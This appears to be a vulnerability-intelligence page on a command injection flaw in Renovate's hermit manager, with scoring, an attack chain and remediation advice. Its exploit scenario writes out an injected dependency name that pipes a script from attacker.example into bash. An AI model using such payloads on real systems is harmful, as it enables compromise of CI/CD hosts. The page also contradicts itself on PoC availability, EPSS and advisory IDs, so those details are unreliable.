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Renovate EUVDEUVD-2026-62472

| CVE-2026-76231 HIGH
Command Injection (CWE-77)
2026-08-19 VulnCheck GHSA-jjmm-46cq-987q
8.4
CVSS 4.0 · Vendor: VulnCheck
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Attack ChainAIDerived

Hypothetical attack flow derived from CVE metadata – not a confirmed exploit chain

  1. Access
    Obtain repository write access
  2. Delivery
    Commit malicious hermit dependency name with shell metacharacters
  3. Exploit
    Commit tweaked renovate.json5 forcing hermit manager version check
  4. Execution
    Renovate bot processes repository
  5. Persist
    Unsanitized depName concatenated into ./hermit install shell command
  6. Impact
    Arbitrary command executes on Renovate CI/CD host

Vulnerability Assessment

Weakness
CWE
OWASP Top 10:2025
A05:2025 - Injection
ASVS 5.0
V1 - Encoding and Sanitization Command injection prevention
MITRE ATT&CK

1 technique across 1 tactic: Execution

The technique list with ATT&CK links and the kill-chain view is part of the Basic plan and up.

Exploitation Conditions

Two specific conditions must both be satisfied: first, the attacker must hold repository write access (ability to push commits or merge pull requests to the target repository); second, the repository must actively use Renovate's hermit manager, meaning Hermit-managed dependencies are present and the manager is not excluded via enabledManagers. Exploitation is blocked for purely external attackers lacking repository write access. The hermit manager is not universally enabled-only repositories that use the Hermit package manager for dependency management are in scope. The attack also requires crafting both a maliciously named dependency and a manipulated renovate.json5 to trigger Renovate's update logic, adding coordination overhead. Authentication requirements are confirmed as PR:H per the CVSS 4.0 vector: high-privilege (repository write) access is required.

Impact

The CVSS 4.0 vector (AV:L/AC:L/AT:N/PR:H/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N) scores 8.4 and reflects the key risk shape: command execution with full confidentiality, integrity, and availability impact on the vulnerable system, but gated by PR:H (repository write access). This is not an opportunistic or mass-exploitation scenario-the PR:H requirement means only insiders or compromised contributors can trigger it. AV:L in the CVSS 4.0 context aligns with the attack materializing on the local Renovate execution host rather than over a direct network path. No EPSS score was provided and no CISA KEV listing exists, so exploitation probability from automated sources is unknown. However, a working PoC with step-by-step reproduction instructions is embedded in the public security advisory, meaningfully lowering the bar for any attacker already holding repo write access. The highest-value targets are self-hosted Renovate deployments running on privileged CI/CD infrastructure, where command execution would grant access to secrets, build pipelines, or production environments. Repositories not using the hermit manager are entirely unaffected regardless of Renovate version.

Exploit ScenarioDerived

An attacker with repository write access commits a hermit dependency file with a name containing shell metacharacters-such as go-1.17; curl http://attacker.example/shell.sh | bash; echo -and simultaneously commits a renovate.json5 that uses customDatasources and packageRules to override the hermit manager's datasource and force Renovate to perceive a new version as available. When the Renovate bot next processes the repository, it constructs the command ./hermit install go-1.17; curl http://attacker.example/shell.sh | bash; echo -1.17.1 and executes it in a shell on the CI/CD host, achieving arbitrary command execution. A complete PoC reproducing this flow is included in GHSA-36j9-mx87-2cff.

This Week Schedule remediation this week. Why: HIGH severity (CVSS 7.0-8.9).
Patch available 0.7% exploitation probability (EPSS)

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AnalysisAIv1 – Aug 19, 2026

Command injection in Renovate's hermit manager (versions 32.135.0 through 40.33.0) allows an attacker with repository write access to execute arbitrary commands on the machine running Renovate by supplying a maliciously named hermit dependency. The root cause is the unsanitized concatenation of user-controlled depName values directly into ./hermit install and ./hermit uninstall shell commands in lib/modules/manager/hermit/artifacts.ts. A detailed proof-of-concept is publicly available in GitHub Security Advisory GHSA-36j9-mx87-2cff; no confirmed active exploitation or CISA KEV listing exists at time of analysis.

RemediationAI

Upgrade Renovate to version 40.33.0 or later, which fully applies shell escaping via the quote() function from the shlex package across all hermit install and uninstall command paths (patch commits b696abb3c2741508fbb4029f39153140a3722e1e, eaec10d7c8afadbdd783ac47bd2adbfab444d6df, 41e8b99f86a6e2a56f80f7aa1a08a59d76f2358c, and a70a6a376d31148e80be5a5c885ac33ff5ddb30c). Advisory and full patch details are at https://github.com/renovatebot/renovate/security/advisories/GHSA-36j9-mx87-2cff. If immediate upgrade is not feasible, disable the hermit manager by explicitly setting enabledManagers in the Renovate configuration to exclude hermit-this eliminates the attack surface entirely but removes all hermit dependency update automation. Additionally, review repository contributor permissions and audit any existing hermit dependency names in active Renovate-managed repositories for anomalous shell metacharacters.

Affected VersionsENISA

renovate 32.135.0 <40.33.0

Affected Packages

npm renovate fix: 40.33.0

Source: OSV (Open Source Vulnerabilities)

Affects your stack

Affects 1 package in npm

Checking this CVE against your own stacks and servers is part of the Basic plan and up.

Technical ContextAI · show details

Renovate (cpe:2.3:a:renovatebot:renovate) is an automated dependency update tool distributed via npm. Its hermit manager, introduced in version 32.135.0 (July 30, 2022), integrates with the Hermit package manager by constructing shell commands such as ./hermit install <depName> and ./hermit uninstall <depName>. The depName value is sourced from repository-controlled configuration and appended to these commands without invoking the quote() function from the shlex package-a direct CWE-77 (Improper Neutralization of Special Elements Used in a Command) violation. A partial remediation was attempted in version 37.199.1 (commit eaec10d7c8) that added quote() in some execution paths but not all; when replacement support was introduced in version 37.214.4 (commit 41e8b99f86), the same unsanitized pattern was carried forward for the uninstall path, widening the flaw. The fix in 40.33.0 applies consistent shell escaping across all affected paths.

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Severity by source

Vendor (VulnCheck) PRIMARY 8.4 HIGH
CVSS:4.0/AV:L/AC:L/AT:N/PR:H/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N
vuln.today AI 9.1 CRITICAL

Repository write access required (PR:H); attack is initiated via a network push to a remote repository; scope changes to the broader CI/CD host beyond the Renovate process itself.

3.1 AV:N/AC:L/PR:H/UI:N/S:C/C:H/I:H/A:H
4.0 AV:N/AC:L/AT:N/PR:H/UI:N/VC:H/VI:H/VA:H/SC:H/SI:H/SA:H
Red Hat 6.7 MEDIUM

Primary rating from Vendor (VulnCheck).

CVSS VectorVendor: VulnCheck

Attack Vector
Local
Attack Complexity
Low
Attack Requirements
None
Privileges Required
High
User Interaction
None
Vulnerable system: Confidentiality
High
Vulnerable system: Integrity
High
Vulnerable system: Availability
High
Subsequent system: Confidentiality
None
Subsequent system: Integrity
None
Subsequent system: Availability
None

DescriptionCVE.org

Renovate versions from 32.135.0 before 40.33.0 contain a command injection vulnerability in the hermit manager where user-provided dependency names are appended to install and uninstall commands without proper sanitization. Attackers with repository write access can provide maliciously named hermit dependencies to execute arbitrary commands on the machine running Renovate.

Executive ViewAI

Why It Matters

Renovate's dependency manager contains a command injection vulnerability (CVSS 8.4) in versions 32.135.0-40.33.0 that enables remote code execution on CI/CD systems through maliciously named dependencies. Organizations using Renovate face immediate supply chain compromise risk and potential theft of production credentials and secrets from build environments. Publicly available exploit code exists, requiring urgent patching to mitigate organizational impact.

Business Impact: High
Compensating Controls

Apply vendor patch.

Threat Intelligence Overview

EPSS Score
0.7%
Top 48% exploitable
Prevalence
Medium
widely adopted automated dependency update tool across software development teams
Data Quality
7 sources
Confidence: High
EUVD NVD CVE.org EPSS Vulnrichment Vendor GitHub

How this decision was reached

The engine reads each signal below and applies a fixed list of rules from top to bottom. The first rule that matches sets the recommended action – like a statement, every line is shown.

SignalValue
Severity HIGH
CISA KEV No
Public POC No
EPSS 0.7%
Patch available Yes
Active threat No
Deciding rule
HIGH severity (CVSS 7.0-8.9)
What every action level means
Emergency Immediate action required. Criteria: CRITICAL + in CISA KEV (actively exploited) without patch, OR CRITICAL + EPSS > 30% without patch, OR CRITICAL + active threat signals without patch.
Act Now Prioritize within 24-48h. Criteria: in KEV with patch available, OR CRITICAL + public POC, OR HIGH + EPSS > 10%, OR CRITICAL + active threat, OR any CRITICAL severity.
This Week Schedule remediation this week. Criteria: HIGH severity (CVSS 7.0-8.9). Patch within normal change window.
This Month Plan within 30 days. Criteria: MEDIUM severity (CVSS 4.0-6.9), lower exploitation probability. Include in regular patch cycle.
Monitor Track and reassess. Criteria: LOW severity (CVSS 0.1-3.9), minimal exploitation risk. No immediate action needed.

SSVC AssessmentENISA

SSVC Decision
Scheduled
Exploitation
Poc
System Exposure· derived
Small
Automatable
No
Human Impact
High
Technical Impact
Total

Priority Score

43
Low Medium High Critical
KEV: 0
EPSS: +1
CVSS: +42
PoC: 0
Weaponized: 0
Threat intel: 0
Gov advisory: 0

Attack Technique

OS command injection occurs when an application passes unsanitized user input directly into system shell commands.

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Vendor StatusVendor

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